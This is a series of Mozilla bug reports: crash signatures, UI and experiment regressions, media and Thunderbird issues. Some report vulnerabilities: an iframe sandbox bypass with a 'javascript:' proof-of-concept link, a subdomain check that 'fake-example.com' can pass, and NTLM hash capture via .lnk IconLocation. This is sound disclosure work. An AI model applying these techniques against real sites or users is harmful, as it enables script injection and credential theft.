Due to https://phabricator.services.mozilla.com/D143849 this doesn't affect the common Ctrl+C, Ctrl+V etc. but this doesn't seem inclusive and I'd expect the hiding-mechanism to not hide the cursor if the Ctrl key was first clicked.
|
|
1,769,807 | 15,903,953 |
~700 crashes for Firefox 100.0 and 100.0.1 on various Window versions. Also seeing this signature for older version but with lower crash volume.
Crash report: https://crash-stats.mozilla.org/report/index/53d540bd-57da-407e-9239-f52940220517
MOZ_CRASH Reason: ```MOZ_CRASH(Using observer service off the main thread!)```
Top 10 frames of crashing thread:
```
0 xul.dll nsObserverService::AddObserver xpcom/ds/nsObserverService.cpp:211
1 xul.dll mozilla::EnsureWin32kInitialized toolkit/xre/nsAppRunner.cpp:815
2 xul.dll mozilla::GetWin32kLockdownState toolkit/xre/nsAppRunner.cpp:855
3 xul.dll mozilla::GetContentWin32kLockdownState security/sandbox/common/SandboxSettings.cpp:110
4 xul.dll mozilla::SandboxBroker::SetSecurityLevelForContentProcess security/sandbox/win/src/sandboxbroker/sandboxBroker.cpp:692
5 xul.dll mozilla::ipc::WindowsProcessLauncher::DoSetup ipc/glue/GeckoChildProcessHost.cpp:1375
6 xul.dll mozilla::ipc::BaseProcessLauncher::PerformAsyncLaunch ipc/glue/GeckoChildProcessHost.cpp:1000
7 xul.dll mozilla::detail::ProxyRunnable<mozilla::MozPromise<mozilla::ipc::LaunchResults, mozilla::ipc::LaunchError, 1>, RefPtr<mozilla::MozPromise<mozilla::ipc::LaunchResults, mozilla::ipc::LaunchError, 1> > xpcom/threads/MozPromise.h:1538
8 xul.dll mozilla::TaskQueue::Runner::Run xpcom/threads/TaskQueue.cpp:196
9 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1181
```
|
|
1,769,845 | 15,904,228 |
I routinely use nightly kind of as a dogfood exercise.
This started on updating Monday. I switched to backup Stable profile to get work done, even though it has fewer of my links and settings.
Tuesday's update did not resolve the problem, which also happens in clean profiles, so I decided to file a bug.
Downloading the nightly for 2020-05-15 fixed the issue. Upon allowing automatic update to update to today, 2020-05-17, it immediately started failing again.
Symptoms are that main pane is blank, including if trying to access settings, logins, dev tools etc. Browsing in menu works, but clicking on browser console (ctrl-shift-J) also opens a blank window.
URL bar is interactive, and autosuggest works in search and url bars, but clicking on anything does nothing.
|
|
1,770,098 | 15,906,006 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Steps to reproduce:
launch firefox 100.0.1 x64 on Windows 11 build 22000.613 (April release) or 22000.675 (May release)
Actual results:
browser window comes up, but browser is unresponsive. trying to visit any site fails, browser hangs
Expected results:
able to view site
|
|
1,770,176 | 15,906,547 |
Created attachment 9277307
2022-05-19 16-11-08.mkv
**Affected versions**
* 102.0a1(20220518214245)
**Affected platforms**
* macOS 11
* Windows 11
* Windows 10
* Ubuntu 20
**Steps to reproduce**
1. Launch Firefox.
2. Go to this [http page](http://info.cern.ch/)
3. Open a new tab and close the page from step 2.
4. In the new tab , write "ht"
**Expected result**
* The Autofill should not give any suggestions to the [http page](http://info.cern.ch/) page from history , after inputting only two of the following letters "ht".
**Actual result**
* The [http page](http://info.cern.ch/) is autofilled as soon as the user only inputs "ht"
|
|
1,770,367 | 15,907,657 |
Created attachment 9277443
ECODownloadMobile_NoFxA_enroll.gif
**[Notes]:**
- Also the “Download Firefox mobile browser” spotlight is shown.
**[Affected versions]:**
- Firefox Release 100.0.1 (Build ID: 20220513165813)
**[Affected Platforms]:**
- Windows 10 x64
- Windows 11 x64
- macOS 12.3.1
**[Prerequisites]:**
- Have the Firefox Release browser, en* locale installed.
- Have the [user.js](https://drive.google.com/file/d/1DBZPX0JAZ24vE8g5GCy1Qh3hOHOoaFsy/view?usp=sharing) file saved on your computer.
- Don’t be signed in to Firefox Sync.
- Have a Firefox profile older than 28 days. (you can copy this [file](https://drive.google.com/file/d/1DBZPX0JAZ24vE8g5GCy1Qh3hOHOoaFsy/view?usp=sharing) on the Firefox profile folder)
- Have user activity of 14-20 days out of the past 28 days.
**[Steps to reproduce]:**
1. Open the Firefox browser with the profile from prerequisites.
2. Navigate to the "about:support" page and open the Profile Folder.
3. Copy and paste the [user.js](https://drive.google.com/file/d/1DBZPX0JAZ24vE8g5GCy1Qh3hOHOoaFsy/view?usp=sharing) file in the folder and restart the browser.
4. Navigate to the “about:studies” page and check the contents of the page.
**[Expected result]:**
- The study is not displayed on the page.
**[Actual result]:**
- The study is marked as active.
**[Additional notes]:**
- Based on the [mana page](https://mana.mozilla.org/wiki/pages/viewpage.action?pageId=162269773) of the experiment, the enrollment shouldn’t occur if the user is not signed in to Firefox Account.
- This issue is reproducible with all the branches.
- Attached is a screen recording of the issue.
|
|
1,770,396 | 15,907,798 |
Created attachment 9277459
rec of the issue.gif
**[Affected versions]:**
- Firefox Release 100.0.1 - Build ID: 20220513165813
**[Affected Platforms]:**
- Windows 10 x64
- macOS 11.6.2
**[Prerequisites]:**
- Have a new Firefox profile created.
- Have the "nimbus.debug" pref set to true in the "about:config" page.
- Have another browser (e.g. Chrome) with multiple bookmarks saved.
**[Steps to reproduce]:**
1. Open the Firefox profile from the prerequisites.
2. Navigate to the "about:studies?optin_slug=import-infrequent-eco2204-en&optin_branch=treatment-a&optin_collection=nimbus-preview" URL.
3. Restart the browser and observe the behavior.
4. Go to the browser's "File" menu and select the "Import From Another Browser..." option.
5. Complete the import flow and restart the browser.
6. Observe the behavior.
**[Expected result]:**
Step 3: The "Import" ECO spotlight is displayed.
Step 6: The "Import" ECO spotlight is **NOT** displayed.
**[Actual result]:**
Step 3: The "Import" ECO spotlight is **NOT** displayed.
Step 6: The "Import" ECO spotlight is wrongly displayed after an import bookmarks action was performed.
**[Notes]:**
- According to the [experiment's mana page](https://mana.mozilla.org/wiki/pages/viewpage.action?pageId=162276975) the "Import" ECO should be displayed only if users have the default number of bookmarks in Firefox (5 bookmarks).
- We observed in the message targeting the `totalBookmarksCount > 5` filter and according to this, we will trigger the spotlight only if more than 5 bookmarks are saved.
- Attached a screen recording of the issue.
@Dan, could you please take a look over this?
|
|
1,770,429 | 15,907,993 |
Created attachment 9277491
broken recording please ignore
Steps to reproduce:
In sway 1.7 (wayland), Ubuntu 22.04 and FF nightly 102.0a1 (2022-05-18)
1. Open firefox nightly
2. Go to youtube, open a vid like this one https://www.youtube.com/watch?v=TWP0YpfvGvM and enable closed captions
3. Activate PIP
4. Open some other app side by side on same workspace and give it focus
5. Subtitles still work
6. Switch to tabbed mode and ensure the main firefox window is not visible
7. Subtitles don't update anymore
8. Switch to the tab with firefox, making it visible
9. Subtitles now catch up
I've uploaded a screengrab showing just this scenario.
Actual results:
Subtitles on PIP window stop updating if the main FF window is not visible
Expected results:
Subtitles continue to update
|
|
1,770,683 | 15,909,423 |
User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Steps to reproduce:
firefox-102.0a1.en-US.linux-x86_64.tar.bz2 is posted as:
firefox-102.0a1.en-US.linux-x86_64.tar.bz2.tar <====<<<
This started after May 8. I always use the tar command out of my history, so I've been running the 05-08 version since then. Tonight, it was obvious something had to be wrong... tracked it down to my issuing:
tar xf firefox-102.0a1.en-US.linux-x86_64.tar.bz2
all this time until noticing the newer files have .tar added which makes no sense.
Actual results:
Someone updated a script..?
Expected results:
More careful editing... :)
|
|
1,770,757 | 15,911,718 |
Created attachment 9277786
rec of the issue.gif
**[Notes]:**
- This issue is not reproducible with the "DISMISS" telemetry ping. In this case the "import-infrequent-eco2204-en:<branch>" message ID is correctly displayed.
**[Affected versions]:**
- Firefox Release 100.0.2 - Build ID: 20220519220738
- Firefox Beta 101.0b9 - Build ID: 20220519220322
- Firefox Nightly 102.0a1 - Build ID: 20220522190601
**[Affected Platforms]:**
- Windows 10 x64
- macOS 11.6.2
**[Prerequisites]:**
- Have the following prefs in the "about:config" page:
- "nimbus.debug" pref set to true.
- "browser.ping-centre.log" set to true.
- Have the "Browser Console" opened.
**[Steps to reproduce]:**
1. Open the browser with the profile from the prerequisites.
2. Navigate to the "about:studies?optin_slug=import-infrequent-eco2204-en&optin_branch=treatment-a&optin_collection=nimbus-preview" URL.
3. Restart the browser and click the spotlight's "Import to Firefox" button.
4. Observe the message ID from the experiment's related telemetry pings.
**[Expected result]:**
- The ""import-infrequent-eco2204-en"" message ID is displayed.
**[Actual result]:**
- The "covered-pin-infrequent-eco2205-en:<branch>" message ID is wrongly displayed.
**[Additional Notes]:**
- Attached a screen recording of the issue.
|
|
1,771,304 | 15,916,037 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Steps to reproduce:
I followed the steps for "Profiling Thunderbird Performance" from here:
https://support.mozilla.org/en-US/kb/profiling-thunderbird-performance
Actual results:
When trying to finalize/stop the recording, I am not given a `Stop Recording Performance` button, but rather a `Capture recording` button which results in the following error in the console:
```
Failed to get the active browserId while starting the profiler. 3 recording-utils.js:53:11
getActiveBrowserID resource://devtools/shared/performance-new/recording-utils.js:53
startProfiler resource://devtools/shared/performance-new/gecko-profiler-interface.js:70
actorBridgeWithSpec resource://devtools/server/actors/common.js:107
handler resource://devtools/shared/protocol/Actor.js:175
onPacket resource://devtools/server/devtools-server-connection.js:379
_onJSONObjectReady resource://devtools/shared/transport/transport.js:464
makeInfallible resource://devtools/shared/ThreadSafeDevToolsUtils.js:103
makeInfallible resource://devtools/shared/ThreadSafeDevToolsUtils.js:103
```
Expected results:
The recording should be saved
|
|
1,761,850 | 15,835,111 |
Created attachment 9269752
wasm-opt.html
See attached test case -- the page displays "OK" on an Intel-based Mac and "Error: NaN" on an M1. Also running on M1 and setting a breakpoint in the wasm and then stepping through causes the page to display "OK", which suggests a bug in native code generation on M1?
All tests were with Firefox 98.0.2.
|
|
1,761,981 | 15,836,045 |
When an iframe with the sandbox attribute set to allow-same-origin and allow-top-navigation/allow-top-navigation-by-user-activation (the below snippet), the embedded document can execute the script in the context of the parent document when users click on a javascript URL even if the sandbox attribute does not contain the allow-scripts directive.
```
<iframe sandbox="allow-same-origin allow-top-navigation-by-user-activation" srcdoc="<a target='_top' href='javascript:alert(location)'>alert</a>">
```
While I understand that it's logical to allow the embedded document to change the top.location to a javascript URL in this case, it would break the sandbox protection and make it no more secure than not using the sandbox attribute at all (e.g the embedded document can remove the sandbox attribute or reload itself in a new iframe).
It seems Chromium and Safari don't allow this behavior. I also think that is a more reasonable approach because normal users wouldn't expect an iframe without the allow-scripts directive to execute arbitrary scripts.
I noticed the behavior when trying the live demo of a markdown library (https://github.com/markedjs/marked).
The untrusted HTML is sandboxed inside an iframe with the sandbox attribute set to "allow-same-origin allow-top-navigation-by-user-activation": https://marked.js.org/demo/?text=[click me](javascript%3Aalert(location))
The application basically does the following:
```
<iframe id="previewIframe" sandbox="allow-same-origin allow-top-navigation" srcdoc="<base target='_parent'>"></iframe>
<script>
var parsedMarkdown = "<a href=javascript:alert(location)>click me</a>";
previewIframe.addEventListener("load", function(){
previewIframe.contentDocument.body.innerHTML = parsedMarkdown;
});
</script>
```
This issue might be related to https://bugzilla.mozilla.org/show_bug.cgi?id=785310
|
|
1,762,078 | 15,837,064 |
(In reply to Anne (:annevk) from bug 1735923 comment 7)
> 1. Jake's fundamental fix is essentially not allowing mixing of non-opaque and opaque responses in media elements.
Bug 1762068 covers a current exposure there.
> Arguably one problem here is that the cross-origin request is still made. It seems like it should be possible to network error earlier when we detect a cross-origin request after we've started using same-origin responses.
That's this bug.
> 2. There's another solution to this problem outside of media elements, which is that we fix Resource Timing along the lines suggested in https://github.com/w3c/resource-timing/issues/165,
Firefox already [adds ResourceTiming entries](https://searchfox.org/mozilla-central/rev/840881e1232f664a58b39caaae6284c7bcf121df/netwerk/protocol/http/HttpBaseChannel.cpp#5094) for both 206 and 416 responses.
> but it's not clear to me that it could not be exploited in other ways. E.g., it seems timing the cross-origin response might also give the attacker some information about whether it's a 206 or 416.
This bug.
> (There's also https://github.com/whatwg/fetch/pull/1311 about exposing network errors to Resource Timing as well [...].)
|
|
1,762,125 | 15,837,361 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Steps to reproduce:
I get no hardware video decoding at all with Firefox. I have tried AVC (H264), VP9, AV1.
Chromium is able to do hardware decoding without any issues.
If I set "media.hardware-video-decoding.force-enabled" to "true", then Firefox can do AVC (H264), but still no VP9 or AV1.
The hardware is capable of decoding all these three codecs: Intel i7-11800h and NVIDIA 3080 (notebook). OS is x64 Windows 10 Enterprise LTSC 21h2 (19044.1586). I use the latest drivers, all software is up to date.
I am attatching some screenshots, their names should be self-descriptive. They contain screenshots of Firefox, Chromium, TaskManager and DXVAchecker while these browsers are running video files using the aforementioned codecs. There is a screenshot of MPV as well which shows the video metadata, including MPV's own pseudo-UI confirming it is using HW decoding. DXVAchecker is also confirming Chromium is able to use HW dec for both VP9 and AV1.
I have tested Firefox ESR, Firefox Stable and the current Nightly, they behave.
Actual results:
No HW video decoding, resulting in high CPU usage.
Expected results:
Firefox should be capable of using HW decoding.
|
|
1,762,723 | 15,841,677 |
Created attachment 9270544
bug.JPG
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Steps to reproduce:
1. I downloaded all STL files from this sample project
https://www.thingiverse.com/thing:5323499/files
2. When I try to drag & drop the files visible in last downloaded list (not show all downloads) for example to Cura, there is always first downloaded file that is drag & dropped to the Cura (see attachment, where I tried to drag&drop third item in the list. It's the same with second item.).
Actual results:
When I drag & drop any downloaded file from last downloaded files list, first file from the list is always selected & drag & dropped to external program.
Expected results:
If I drag & drop for example second file in the last downloaded files list that should be drag & dropped to external program.
|
|
1,762,803 | 15,842,129 |
This is not a safe way to check for subdomains:
https://searchfox.org/mozilla-central/rev/78c8fd2e91/toolkit/mozapps/extensions/internal/XPIDatabase.jsm#392
This would allow `fake-example.com` to install an xpi from `example.com`, see the attached patch.
|
|
1,763,470 | 15,848,581 |
- The animated logo is not disabled when a user has prefers-reduced-motion enabled
- The title text becomes invisible for high-contrast black themes, difficult to read on other high contrast dark themes
- Hitting tab initially focuses "not now" instead of the preferred "pin" button
|
|
1,763,573 | 15,849,194 |
This is one of [many crash signatures](https://crash-stats.mozilla.org/search/?signature=%5ERtl&release_channel=nightly&product=Firefox&date=%3E%3D2022-01-07T08%3A16%3A00.000Z&date=%3C2022-04-07T08%3A16%3A00.000Z&_facets=signature&_facets=version&_facets=platform_pretty_version&_facets=uptime&_facets=reason&_sort=-date&_columns=date&_columns=signature&_columns=product&_columns=version&_columns=build_id&_columns=platform#facet-signature) which start with `Rtl` and are specific to a Windows version (for this one: Windows 8.1) and crash shortly after launch.
~60 crashes from 40+ installations of recent versions (100 and 101, not 99), mostly only 1-2 crashes for older versions.
Crash report: https://crash-stats.mozilla.org/report/index/d99e748d-558a-4431-9971-206180220406
Reason: ```EXCEPTION_INVALID_DISPOSITION```
Top 7 frames of crashing thread:
```
0 ntdll.dll RtlRaiseStatus
1 ntdll.dll RtlDispatchException
2 ntdll.dll KiUserExceptionDispatch
3 xul.dll js::SubValues js/src/vm/Interpreter.cpp:4811
4 xul.dll js::jit::DoBinaryArithFallback js/src/jit/BaselineIC.cpp:2162
5 None @0x000002d4def8737e
6 xul.dll _tailMerge_d3dcompiler_47.dll
```
|
|
1,763,805 | 15,850,919 |
Crash report: https://crash-stats.mozilla.org/report/index/3f647764-bb9b-4999-b390-dc68c0220408
Java stack trace:
```
java.lang.ClassCastException
at org.mozilla.gecko.util.GeckoBundle.getString(GeckoBundle.java:3)
at org.mozilla.geckoview.Autocomplete$CreditCard.<init>(Autocomplete.java:12)
at org.mozilla.geckoview.PromptController$CreditCardSaveHandler.newPrompt(PromptController.java:4)
at org.mozilla.geckoview.PromptController$CreditCardSaveHandler.newPrompt(PromptController.java:8)
at org.mozilla.geckoview.PromptController.getResponse(PromptController.java:1)
at org.mozilla.geckoview.PromptController.handleEvent(PromptController.java:6)
at org.mozilla.geckoview.GeckoSession$Listener.handleMessage(GeckoSession.java:6)
at org.mozilla.gecko.EventDispatcher$3.run(EventDispatcher.java:2)
at android.os.Handler.handleCallback(Handler.java:938)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loop(Looper.java:233)
at android.app.ActivityThread.main(ActivityThread.java:8030)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:631)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:978)
```
I hit this 100% reliably after entering my credit card details on https://shop.cpfc.co.uk. Not sure whether it affects other sites too. Let me know if I can provide more information.
|
|
1,763,824 | 15,851,023 |
Created attachment 9271484
upgradingUsers_SetAsDefault.gif
**[Notes]:**
- This issue is only reproducible only after a browser update.
- This issue is also reproducible if the browser is set as default from the "about:preferences" page or from the "Make default browser" prompt.
**[Affected versions]:**
- Firefox Beta 100.0b4 (Build ID: 20220410195727)
- Firefox Nightly 101.0a1 (Build ID: 20220410213958)
**[Affected Platforms]:**
- Windows 10 x64
**[Prerequisites]:**
- Have a Firefox Nightly/Beta 99 browser installed.
- Have a new Firefox profile.
- Don’t have the Firefox browser set as default.
**[Steps to reproduce]:**
1. Open the Firefox browser with the profile from prerequisites.
2. Update the browser to the latest version.
3. Click the “Make Firefox my default” button from the “Thank you” spotlight.
4. Observe what happens.
**[Expected result]:**
- The Firefox browser is set as default.
**[Actual result]:**
- The OS settings window is opened and the Firefox browser is not set as default.
**[Additional Notes]:**
- This issue is not reproducible for new users.
- I didn't manage to investigate this issue on Nightly, but I'll come back with additional details on Monday.
- Attached is a screen recording of the issue.
|
|
1,771,477 | 15,917,074 |
Created attachment 9278452
bug.png
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Steps to reproduce:
1. Open a Korean PDF: https://www.korean.go.kr/nkview/nklife/1998_4/1998_0402.pdf
2. Ctrl+F, and type, for instance: 박경래, which is apparantly the auther of this paper, written at the title.
Actual results:
It cannot locate nor highlight the right word, while it seems it can count the number of words.
Expected results:
It should be highlighted right under the title of the first chapter.
I don't know if it is Korean only issue, but it is reproduced on every Korean PDFs I have used, and failed to reproduced on any English PDFs I have.
|
|
1,771,650 | 15,918,260 |
Steps to reproduce:
Do not know if this has any effect, but noticed it reading trough the source code.
The bdi tag has a, from the looks of it, a stray closing bracket.
https://hg.mozilla.org/mozilla-central/file/e881fd99de24fa48159390544dac07f373931d1c/toolkit/content/widgets/videocontrols.js#l2847
Actual results:
<bdi class="statusLabel" id="errorGeneric"> data-l10n-id="videocontrols-error-generic"></bdi>
Expected results:
<bdi class="statusLabel" id="errorGeneric" data-l10n-id="videocontrols-error-generic"></bdi>
|
|
1,772,053 | 15,922,700 |
User Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Steps to reproduce:
Attempt to play any live stream video on YouTube. Examples:
https://www.youtube.com/watch?v=GE_SfNVNyqk
https://www.youtube.com/watch?v=9Iup70E0Ig0
Actual results:
Videos do not play. YouTube displays the error "Your browser can't play this video." or "An error occurred. Please try again later."
Expected results:
Videos should play.
|
|
1,772,634 | 15,926,480 |
41 crashes from 11 installations on all major desktop platforms. All with Firefox 103.0a1 20220603093350. The crash stacks are broken.
Steps to reproduce:
1. Open https://krunker.io/?game=FRA:jk5uv
2. Accept cookies or deny them
3. Join the game. If it's full, click at "Find another game".
4. After the game loaded, click in the center (or anywhere?).
Crash report: https://crash-stats.mozilla.org/report/index/9de20f2f-03e6-4684-9622-e70640220603
Reason: ```EXCEPTION_BREAKPOINT```
Top 10 frames of crashing thread:
```
0 xul.dll js::gc::ArenaLists::refillFreeListAndAllocate js/src/gc/Allocator.cpp:536
1 xul.dll static JSScript::fromStencil js/src/vm/JSScript.cpp:2504
2 xul.dll static js::frontend::CompilationStencil::instantiateStencilAfterPreparation js/src/frontend/Stencil.cpp:1985
3 xul.dll js::frontend::InstantiateStencils js/src/frontend/BytecodeCompiler.cpp:414
4 xul.dll JS::InstantiateGlobalStencil js/src/frontend/Stencil.cpp:4750
5 xul.dll mozilla::dom::PrecompiledScript::ExecuteInGlobal js/xpconnect/loader/ChromeScriptLoader.cpp:311
6 xul.dll mozilla::dom::PrecompiledScript_Binding::executeInGlobal dom/bindings/PrecompiledScriptBinding.cpp:58
7 xul.dll mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions> dom/bindings/BindingUtils.cpp:3271
8 None @0x0000031f8875219e
9 xul.dll static js::SharedShape::getInitialShape js/src/vm/Shape.cpp:1137
```
|
|
1,773,067 | 15,931,488 |
Bug 1056433 covers that we don't yet support calling `getStats` on closed peer connections. But bug 1624989 introduced a regression in behavior in how `getStats` responds when called in this case, which is hitting partners by causing code they expect to run to not run.
In earlier versions the getStats promise would reject immediately with:
```
InvalidStateError: RTCPeerConnection is gone (did you enter Offline mode?)
```
...whereas after the regression the promise hangs forever, which potentially is worse, because it may cause JS code an application expects to execute to never execute.
### Regression range
There are two ranges involved:
1. The [first](https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=0c9101715355521491635bfc7a9c39b02223a9f3&tochange=f853e1e31b3862bcb514005accfd7405ece5225d
) is bug 1624989 regressing behavior from `InvalidStateError` to a nullptr page crash.
2. The [second](https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=02598ee3f8e082d29697682515bde3ad9aa00528&tochange=1cbfaa700ba7b4aacf91412822dd55fa5973d6e9) is bug 1763654, which (in spite of its name) improves behavior from a nullptr page crash to leaving promise unresolved forever, due to adding [this line](https://searchfox.org/mozilla-central/rev/1c6bb1476e86b6d428b26d04e6ea3f4367528c77/dom/media/webrtc/jsapi/PeerConnectionImpl.cpp#1657,1673).
### Workaround
- Insert the following ahead of the call to getStats to get the old behavior:
```js
if (pc.iceConnectionState == "closed") throw new DOMException("InvalidStateError");
```
|
|
1,773,207 | 15,932,689 |
Created attachment 9280188
Screen-Shot-2022-05-06-at-16.42.08.png
On bug 1587421 comment 12 :callahad reported the following issue and I'm copy/pasting it here because bug 1587421 is a 3-year-old bug related to the release of macOS 10.15
***
I experienced this last week on a fresh install of macOS Monteray (12.3.1).
As expected, the dylib did have the com.apple.quarantine xattr set.
```
"libgmpopenh264.dylib" can't be opened because Apple cannot check it for malicious software.
This software needs to be updated.
Contact the developer for more information.
Firefox downloaded this file on May 3, 2022.
```
|
|
1,773,894 | 15,938,268 |
I don't know if this can be considered as a bug but I think this could be a security issue on Windows.
It's possible to download .lnk files with FireFox without any restriction and, using the IconLocation property of the link file, it's possible to capture the NTLM hash.
I made a video (not listed on YouTube, nobody can see it): https://www.youtube.com/watch?v=Ml_jE-pwisI
In this video I try to explain and show you the problem.
I've tried to replicate this using a public IP address and it works.
Mozilla Firefox version: 101.0.1 (64-bit)
Hope it helps.
|
|
1,774,694 | 15,946,574 |
**Steps to reproduce**
On a webpage, press a function key (F1, F2 etc.), a media key (play, stop etc.), a browser key (previous, next) or a volume key (vol. up, mute etc.)
**Actual result**
The cursor is hidden. It reappears when moved or if the key triggers the Windows media overlay.
**Expected result**
Cursor should remain visible.
All keys not involved in typing text should not hides the cursor.
This is especially noticeable with the F5 key used to refresh the page.
This is similar to bug 1768903.
|
|
1,775,039 | 15,950,607 |
Crash report: https://crash-stats.mozilla.org/report/index/2276fb2a-f65b-4685-9abc-092d40220620
Reason: ```EXCEPTION_ACCESS_VIOLATION_READ```
Top 8 frames of crashing thread:
```
0 ntdll.dll LdrpGetProcedureAddress
1 ntdll.dll LdrpResolveProcedureAddress
2 ntdll.dll LdrGetProcedureAddressForCaller
3 kernelbase.dll GetProcAddressForCaller
4 xul.dll static google_breakpad::ExceptionHandler::ExceptionHandlerThreadMain toolkit/crashreporter/breakpad-client/windows/handler/exception_handler.cc:410
5 None @0x000002ba412f002e
6 mozglue.dll patched_BaseThreadInitThunk toolkit/xre/dllservices/mozglue/WindowsDllBlocklist.cpp:576
7 ntdll.dll RtlUserThreadStart
```
This is an odd crash, the only way it could happen is if [this call](https://searchfox.org/mozilla-central/rev/cc98a15c7327d742d283cddddde712a8a3165006/toolkit/crashreporter/breakpad-client/windows/handler/exception_handler.cc#412) to `GetModuleHandle()` would fail - which it shouldn't. However given we're not checking the return value it could be the culprit.
This only seems to be happening when Malwarbytes/G DATA anti-virus software is installed so it could be related. I'll cook up a patch to check the return value of `GetModuleHandle()` before we call `GetProcAddress()` on it. It'll take a while to figure out if that will be enough so I plan on leaving the bug open in the meantime.
|
|
1,775,115 | 15,951,203 |
User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Steps to reproduce:
1. send an email with more than 90 keys attached (e.g. choose "Send public key(s) via E-Mail" in the TB Open PGP Key manager - to distribute all organizational keys without the need for the recipient to add them separately from keyservers, or to share keys which are not on keyservers)
2. try to open this email, and click on the arrow to expand the list of attachments
Actual results:
1. thunderbird starts to hang for some minutes (~90 keys attached), but eventually succeeds to import. If there are more keys, like >120 keys, TB becomes unresponsive for a very long time, and I have to end the process via the task manager)
1. there is nothing in the error console
1. I use Win10Pro latest 64bit
This didn't happen with TB91 (I can import 180 keys without problems with TB91), and I think this might have to do with the new functionality to automatically import keys which are attached (and/or check whether the keys exist in the keyring?). I don't finding the bug anymore where this functionality is discussed, but I wonder if there is a parameter to disable the automatic key-checking, automatic import? I know 180 keys is a lot, but its still a bug which crashes/hangs TB, and this didn't happen in previous versions (we do this since TB60 or so).
Expected results:
1. I should be able to successfully complete key import, just as this happened in TB91.
|
|
1,776,164 | 15,955,999 |
Created attachment 9282532
Comparison showing left-most active tab no longer has blue selection outline
Previously when selecting multiple tabs, the active tab had a blue outline like other selected tabs but a little thicker, now it has no outline and appears unselected.
Regression window:
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=5c520a3b53a505f2732814b162a9e76b20c482bf&tochange=6caa30153d0b6e71f31316ca071c3173dc10c89c
Regressed by Bug 1762903.
|
|
1,776,498 | 15,958,189 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Steps to reproduce:
use the shift-f10 or applications key
Actual results:
Jaws did not read the context menu -- its on there but Jaws isn't seeing it This is Jaws 2022 June update
Expected results:
Jaws should read the context menu choices
|
|
1,776,655 | 15,961,019 |
11 crash reports from 1 instance of Firefox 101.0.1 on the upcoming macOS 13 (13.0.0 22A5266r here)
Crash report: https://crash-stats.mozilla.org/report/index/34a29e43-7882-419c-b931-fd1100220624
Reason: ```EXC_BAD_ACCESS / KERN_INVALID_ADDRESS```
Crashing address is `0xe5e5e5e5e5e5e5e5` (use-after-free)
Top 6 frames of crashing thread:
```
0 XUL dom/gamepad/cocoa/CocoaGamepad.cpp:357
1 IOKit __IOHIDDeviceInputReportApplier
2 None @0x981900018e2aba58
3 CoreFoundation CFBasicHashGetBucket
4 IOKit __IOHIDDeviceInputReportCallback
5 CoreFoundation __CFRunLoopAddItemsToCommonMode
```
|
|
1,764,238 | 15,855,288 |
[Tracking Requested - why for this release]:
Happening on twitter, so need to be careful.
1. Happens only on hebrew:
2. Open twitter on Firefox for Android
3. When trying to enter a search term
Expected:
Search term being displayed
Actual:
typing the second letter duplicates the first letter.
Makoto-san found a regression range
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=692d1b656c582dfacd718c88c49565cadbfdac34&tochange=fec88e22af1dc1a1dbed0781fdf15c7b305e88f8
|
|
1,764,242 | 15,855,306 |
Steps to reproduce:
After updating from 1:91.7.0-2~deb11u1 to 1:91.8.0-1~deb11u1 my PGP key
disappeared from the OpenPGP Key Manager and can no longer be imported.
I verified this on a second machine and the key was still there before
the upgrade and could also be imported properly. This changed after
upgrading.
Steps to reproduce:
1. In menu, select "Tools" → "OpenPGP Key Manager"
2. "edit" → "Import Key from URL" [1]
3. An error is shown
[1]: https://keyserver.ubuntu.com/pks/lookup?op=get&search=0xe6bfd964aa7cebd360537ddb4a72372baf48dade
I suspect it's related to it being an BrainpoolP512r1 ECC key which
happens to be rather uncommon. I've not checked if any other keys are
affected.
Initially reported at https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009321.
|
|
1,764,330 | 15,855,811 |
**[Affected versions]:**
- Firefox Beta 100.0b4 - Build ID: 20220410195727
- Firefox Nightly 101.0a1 - Build ID: 20220412094307
**[Affected Platforms]:**
- Windows 10 x64
- macOS 11.6.2
- Linux Mint 20.2 x64
**[Prerequisites]:**
- Have a Firefox en-US locale build installed.
- Have a new Firefox profile with the "browser.search.region" pref set to "US" in the "about:config" page.
- Have a device with a QR code scanner app installed.
**[Steps to reproduce]:**
1. Open the browser using the profile from the prerequisites.
2. Open a new "Private Window" (Ctrl+Shift+P).
3. Click the "Download Firefox Focus" button.
4. Scan the modal's QR code and observe the behavior.
**[Expected result]:**
- You are redirected to the "Firefox Focus" app.
**[Actual result]:**
- You are redirected to the "Firefox Klar" app instead.
**[Notes]:**
- The modal's QR code redirects to the "https://mzl.la/3racU17" URL.
|
|
1,764,762 | 15,859,153 |
Windows crash new in Firefox 99 - 68 crashes from 54 installations of Firefox 99.0/99.0.1. Could this be from the code changes in bug 1746104?
Crash report: https://crash-stats.mozilla.org/report/index/5ed53794-67b6-451a-98bf-e3de30220414
MOZ_CRASH Reason: ```MOZ_RELEASE_ASSERT(isSome())```
Top 10 frames of crashing thread:
```
0 xul.dll mozilla::widget::TSFTextStore::CreateNativeCaret widget/windows/TSFTextStore.cpp:6415
